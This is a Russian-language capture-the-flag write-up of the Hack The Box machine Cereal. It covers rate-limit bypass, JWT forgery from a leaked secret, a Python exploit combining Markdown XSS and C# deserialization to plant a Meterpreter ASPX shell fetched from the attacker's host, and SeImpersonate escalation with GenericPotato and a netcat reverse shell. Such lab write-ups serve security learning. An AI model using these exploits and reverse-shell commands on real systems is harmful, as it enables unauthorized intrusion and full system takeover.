Хакер - HTB Cereal. Сканируем сайт в обход ограничений, эксплуатируем XSS в Markdown и подделываем системную учетку Windows
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Сканирование веба
- Точка входа
- Закрепление
- Локальное повышение привилегий
В этой статье мы пройдем машину Cereal с площадки Hack The Box. На ее примере я покажу, как обходить X-Rate-Limit-Limit при сканировании веб‑сайта. Заодно ты узнаешь, как с помощью XSS в Markdown и десериализации объекта С# получить удаленное выполнение кода. После чего поработаем с технологией GraphQL и подделаем учетную запись System в Windows при помощи привилегии SeImpersonate Privilege.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
IP машины — 10.10.10.217, добавляем его в /etc/hosts.
10.10.10.217 cereal.htb
И переходим к сканированию портов:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

В результате работы скрипта узнаем список открытых портов и работающих служб:
- порт 22 (TCP) — служба SSH;
- порт 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- порт 443 (HTTPS) — веб‑сервер Microsoft IIS/10.0.
SSH пока что пропускаем, поскольку учетных данных у нас нет. Веб‑сервер с 80-го порта перенаправляет на 443-й порт. При этом в SSL-сертификате указано доменное имя source.cereal.htb — тоже добавляем его в /etc/hosts.
10.10.10.217 source.cereal.htb
Сканирование веба
Теперь выполняем запрос в браузере, и нас переносит с 80-го порта на 443-й, затем заставляют подтвердить, что мы принимаем риски, связанные с безопасностью. Опасность будет происходить как раз от нас, так что без проблем подтверждаем. И попадаем на форму авторизации.

Если же обратиться по найденному доменному имени, то получим ошибку Server Error in '/' Application.

Нам не доступно почти ничего интересного, а значит, следует прибегнуть к перебору каталогов. Для этого есть такие программы, как dirsearch, DIRB и gobuster, который я и использую, поскольку он показал себя как самый быстрый.
Вот команда, которую я использовал:
gobuster dir -t 128 -u https://cereal.htb/ -k -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -x php,html,aspx --timeout 30s
А вот что означает каждый параметр:
dir— сканирование директорий и файлов;-t []— количество потоков;-u []— URL-адрес для сканирования;-k— не проверять сертификат;-w []— словарь для перебора;--timeout []— время ожидания ответа;-x []— искать файлы со следующими расширениями (указываем ASPX, поскольку целевой веб‑сервер работает на Microsoft IIS).
Но при попытке перебрать скрытые каталоги на сайте cereal.htb мы получаем бан, что может означать наличие WAF. Давай проверим, так ли это. Для этого отправим запрос на авторизацию и перехватим его в Burp, после чего перенаправим в Repeater (комбинация Ctrl + R) и посмотрим ответ.

В ответе видим заголовки X-Rate-Limit-Limit и X-Rate-Limit-Remaining. Данные заголовки сообщают, что на пять минут у нас осталось 149 запросов. Можно попробовать обойти ограничение, вставив в запрос следующие заголовки:
- X-Originating-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Remote-Addr: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Real-Ip: 127.0.0.
- X-Host: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
Из этого сработал X-Real-Ip: если добавить этот заголовок, то в ответе будут отсутствовать хедеры X-Rate-Limit-Limit и X-Rate-Limit-Remaining.

Сканируем повторно, уже с использованием X-Real-Ip (опция -H), и сталкиваемся с другой проблемой: сервер на запросы несуществующих страниц не отвечает кодом ошибки, а радостно возвращает 200 («Успешный результат»).
gobuster dir -t 128 -u https://cereal.htb/ -k -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -x php,html,aspx --timeout 30s -H 'X-Real-Ip: 127.0.0.1' --wildcard
В таком случае стоит выбрать другой критерий оценки, к примеру размер ответа в байтах — для существующей и несуществующей страницы он будет разным. Для сканирования возьмем ffuf, поскольку он умеет исключать из вывода ответы в зависимости от их размера (опция -fs).
ffuf -H 'X-Real-Ip: 127.0.0.1' -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -u https://cereal.htb/FUZZ -fs 1948

Находим только одну страницу, которая предположительно должна принимать определенные параметры. Для сканирования другого сайта, где нам встретилась ошибка, используем gobuster, благо там нет никаких блокировщиков.
gobuster dir -t 128 -u https://source.cereal.htb/ -k -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -x php,html,aspx --timeout 30s

Нам попался каталог .git, а это значит, что мы можем попытаться скачать весь репозиторий.
ТОЧКА ВХОДА
Для загрузки репозиториев я обычно использую пакет скриптов dvcs-ripper. Запускаем rip-git со следующими аргументами:
-s— не проверять сертификат;-v— вести логирование;-u— URL репозитория.
./rip-git.pl -s -v -u https://source.cereal.htb/.git/

Давай глянем историю коммитов. Для анализа и разбора репозиториев Git я обычно использую Gitk. Просматривая код Services/UserService.cs, находим секрет JWT, а также данные, из которых формируется JWT, — это ID пользователя и дата через семь дней.


JSON Web Token состоит из трех частей: заголовка (header), полезной нагрузки (payload) и подписи. Заголовок и полезная нагрузка представляют собой объекты JSON, а нагрузка может быть любой — это именно те критические данные, которые передаются приложению. У заголовка есть следующие поля:
alg— алгоритм, используемый для подписи/шифрования. Является обязательным ключом;typ— тип токена. Это поле должно иметь значениеJWT;cty— тип содержимого.
Третий элемент вычисляется на основании первых двух и зависит от выбранного алгоритма. Токены могут быть перекодированы в компактное представление: к заголовку и полезной нагрузке применяется алгоритм кодирования Base64-URL, после чего добавляется подпись и все три элемента разделяются точками. Вот пример токена, взятый из Википедии.

Попробуем сгенерировать себе токен. Для этого нам понадобится либо приложение jwt_tool, либо сервис jwt.io. Я использовал jwt_tool. Так как с заголовком все ясно, давай разберемся с данными: ключ name будет содержать идентификатор 1, а ключ exp — текущую дату плюс семь дней.
date -d "+7 days" +%s
echo -n '{"name": "1", "exp":[дата]}' | base64 -w0 ; echo
echo -n '{"alg": "HS256", "typ":"JWT"}' | base64 -w0 ; echo
python3 jwt_tool.py -b -S hs256 -p 'secretlhfIH&FY*#oysuflkhskjfhefesf' [заголовок].[данные].

У нас есть токен для доступа, но страница requests требует параметры в формате JSON, о чем свидетельствуют класс Request в файле Models/Request.cs и функция requestCereal из файла ClientApp/src/_services/request.service.js.


Анализируя исходники далее, узнаем и сами параметры из файла ClientApp/src/AdminPage/AdminPage.jsx.

Так, параметр json содержит в себе другие параметры в формате JSON. Нам нужно передать title, description, color и flavor. Но, что важнее, мы можем эксплуатировать XSS в Markdown:
[a](javascript:eval('evil code'))
А при обращении с присвоенным id у нас примут сериализованные данные, о чем говорят метод Get из файла Controllers/RequestsController.cs и DownloadHelper.cs из файла DownloadHelper.cs.

Находим способ загрузить файл на сервер. Для этого нужно задать URL файла и путь для его сохранения.

ЗАКРЕПЛЕНИЕ
Давай соберем все воедино:
- Есть XSS в Markdown, что позволяет выполнить код на JavaScript.
- Этот код на JS должен получить ID и затем передать сериализованные данные.
- Есть класс
DownloadHelper, который загружает файл на диск. Его нужно сериализовать и передать в качестве данных. Переменные этого класса должны указывать URL файла на нашем хосте и путь к сохранению в директориюuploads. - На своем веб‑сервере размещаем любой шелл на ASPX, который будет загружен на удаленный хост, что даст нам удаленное выполнение кода (RCE).
Эксплоит я буду писать на Python 3. Сначала набросаем «оболочку». Сразу нужно подключить InsecureRequestWarning для отключения проверки сертификата, указать URL и JWT, а переменную, которая содержит код на JS, пока оставим пустой. Кодируем этот скрипт в Base64 и отправляем параметры в формате JSON. В качестве нагрузки передаем функцию eval, в которой будет декодироваться и выполняться основной код на JS.
import requests
from urllib3.exceptions import InsecureRequestWarning
import base64
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
URL = 'https://cereal.htb/requests'
jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYxMjYzNTYzOX0.Po0faLvaEqnCJFk7
js = ''
js_payload = base64.b64encode(js.encode('utf-8'))
data = {'json': '{"title":"[a](javascript: eval(atob(%22' + js_payload.decode('utf-8') + '%22%29%29)", "
headers = {'Authorization': 'Bearer ' + jwt}
r = requests.post(URL, headers=headers, json=data, verify=False)
print(r.text)
Теперь сделаем JS-нагрузку. В ней мы будем выполнять запрос для получения ID и еще один повторный запрос — для отправки данных. Этот код должен быть указан выше, в переменной js.
var jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYxMjYzNTYzOX0.Po0faLvaEqnCJFk7UDmYkb6V4v7YmuqQmxjXaG1MPk0';
var targeturl = 'https://cereal.htb/requests';
var req = new XMLHttpRequest;
var cs_payload = JSON.stringify({"json": ''});
req.onreadystatechange = function() {
if (req.readyState == 4) {
var id = JSON.parse(this.responseText).id;
req2 = new XMLHttpRequest;
req2.open('GET', targeturl + "/" + id, false);
req2.setRequestHeader("Authorization", "Bearer " + jwt);
req2.send();
}
}
req.open('POST', targeturl, false);
req.setRequestHeader("Authorization", "Bearer " + jwt);
req.setRequestHeader('Content-type', 'application/json');
req.send(cs_payload);
Сериализованный класс, содержащий URL файла на нашем сервере и путь для загрузки на удаленном сервере, будет выглядеть следующим образом.
{"$type":"Cereal.DownloadHelper, Cereal","URL":"http://10.10.14.20/r.aspx","FilePath":"C:/inetpub/source/uploads/r.aspx"}
В качестве шелла будем использовать загрузчик aspx из Meterpreter, который мы сгенерируем с помощью msfvenom. В качестве параметров указываем нагрузку, локальный адрес и порт, а также формат — aspx.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=4321 -f aspx -o r.aspx
В текущей директории активируем простой веб‑сервер — python3.
sudo python3 -m http.server 80
И в другом терминале запускаем листенер Metasploit.
msfconsole
handler -p windows/x64/meterpreter/reverse_tcp -H 10.10.14.20 -P 4321

Ниже приведу полный код эксплоита. После его выполнения спустя некоторое время в логах веб‑сервера обнаружим загрузку шелла.
import requests
from urllib3.exceptions import InsecureRequestWarning
import base64
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
URL = 'https://cereal.htb/requests'
jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYxMjYzNTYzOX0.Po0faLvaEqnCJFk7UDmYkb6V4v7YmuqQmxjXaG1MPk0'
js = """var jwt = ‘eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYxMjYzNTYzOX0.Po0faLvaEqnCJFk7UDmYkb6V4v7YmuqQmxjXaG1MPk0';
var targeturl = 'https://cereal.htb/requests';
var req = new XMLHttpRequest;
var cs_payload = JSON.stringify({"json": '{"$type":"Cereal.DownloadHelper, Cereal","URL":"http://10.10.14.20/r.aspx","FilePath":"C:/inetpub/source/uploads/r.aspx"}'});
req.onreadystatechange = function() {
if (req.readyState == 4) {
var id = JSON.parse(this.responseText).id;
req2 = new XMLHttpRequest;
req2.open('GET', targeturl + "/" + id, false);
req2.setRequestHeader("Authorization", "Bearer " + jwt);
req2.send();
}
}
req.open('POST', targeturl, false);
req.setRequestHeader("Authorization", "Bearer " + jwt);
req.setRequestHeader('Content-type', 'application/json');
req.send(cs_payload);"""
js_payload = base64.b64encode(js.encode('utf-8'))
data = {'json': '{"title":"[a](javascript: eval(atob(%22' + js_payload.decode('utf-8') + '%22%29%29)", "flavor":"a", "color":"#000", "description":"a"}'}
headers = {'Authorization': 'Bearer ' + jwt}
r = requests.post(URL, headers=headers, json=data, verify=False)
print(r.text)


Наш файл оказывается на сервере, и при обращении к нему мы сразу получим сессию Metasploit, причем сразу от имени пользователя.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Получив шелл, первым делом обращаем внимание на привилегии текущего пользователя. У него включена SeImpersonatePrivilege — право «олицетворять клиента после проверки подлинности». Как говорит Microsoft:
Присвоение пользователю права «Олицетворять клиента после проверки подлинности» разрешает программам, запущенным от имени данного пользователя, олицетворять клиента. Использование данного параметра предотвращает олицетворение неавторизованными серверами клиентов, подключающихся к этим серверам с помощью процедур RPC или именованных каналов.
Другими словами, эта привилегия позволяет имитировать любой токен, дескриптор которого мы сможем получить.

Это явный вектор повышения привилегий! Для этого обычно используется одна из программ серии Potato, а какая именно — зависит от используемых служб и протоколов. В списке активных портов найдем 8080-й, работающий в контексте System.

Скорее всего, это HTTP, поэтому для проверки будем туннелировать трафик этого порта на свой локальный. Meterpreter позволяет нам это сделать. Теперь все запросы на наш порт 8888 будут переадресованы на удаленный 8080-й (позже произойдет сброс соединения, и новый порт будет 8889-м). Заходим на localhost:8888, и нас встречает какая‑то таблица.
portfwd add -l 8888 -p 8080 -r 127.0.0.1

Просматривая исходный код на предмет используемых технологий, обнаруживаем GraphQL, точнее, использование метода allPlants для получения и вставки данных в таблицу.

В двух словах, GraphQL — это язык запросов, который клиентские приложения часто используют для работы с данными. Пробуем выполнить запрос разными методами HTTP и сразу определяем, что изначально требуется POST-параметр.


C GraphQL связано такое понятие, как «схема», — это то, что позволяет организовывать создание, чтение, обновление и удаление данных в приложении. Давай получим данные __schema и отфильтруем имена типов, это можно сделать, передав в параметре query запрос {__schema{types{name}}}"}.
curl -X POST -H "Content-Type: application/json" --data-binary '{"query":"{__schema{types{name}}}"}' http://localhost:8888/api/graphql | grep name ; echo

В ответе находим используемый для запроса тип Query и для вставки — тип Mutation. Теперь стоит просмотреть используемые в них поля. Для этого будем запрашивать не name (как в прошлом запросе), а name fields{name}.
curl -X POST -H "Content-Type: application/json" --data-binary '{"query":"{__schema{types{name fields{name}}}}"}' http://localhost:8889/api/graphql | jq

Нас больше всего интересует Mutation, так как он позволяет манипулировать данными. Он имеет три метода: haltProduction, resumeProduction и updatePlant. Взглянем на аргументы каждого метода. В запросе указываем тип Mutation (__type(name: "Mutation")) и запрашиваем имя метода и его аргументы ({name fields{name args{name}}}).
curl -X POST -H "Content-Type: application/json" --data-binary '{"query":"{__type(name: "Mutation"){name fields{name args{name}}}}"}' http://localhost:8889/api/graphql |jq

Вот это уже интересно. Метод updatePlant принимает параметр id целевого объекта для изменения и URL, откуда, видимо, будут получены данные. То есть мы можем спровоцировать инициирование клиентом запроса на указанный адрес. При этом у нас есть опасная привилегия, с помощью которой мы можем изображать клиента (в данном случае System)! Для выполнения такой атаки нам понадобится GenericPotato. Загрузим его на хост с помощью команды upload. Еще загрузим netcat, с помощью которого выполним бэкконнект на свой хост.

А теперь запустим. Он должен прослушивать порт 7777, куда обратится клиент, и выполнить бэкшелл с netcat. Увидим сообщение, что указанный порт прослушивается.
GenericPotato.exe -p "C:\Users\sonny\Documents\nc64.exe" -a "[ip] [port] -e cmd.exe" -e HTTP -l 7777

Активируем на своем локальном хосте листенер. Я советую использовать rlwrap.
sudo apt install rlwrap
rlwrap nc -lvp 5432
Выполним запрос к GraphQL на изменение данных, где укажем в качестве sourceURL порт, прослушиваемый GenericPotato.
curl -k -X "POST" -H "Content-Type: application/json" --data-binary '{"query":"mutation{updatePlant(plantId:2, version:2, sourceURL:"http://localhost:7777")}"}' 'http://localhost:8889/api/graphql'
И тут же получаем шелл от имени System.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei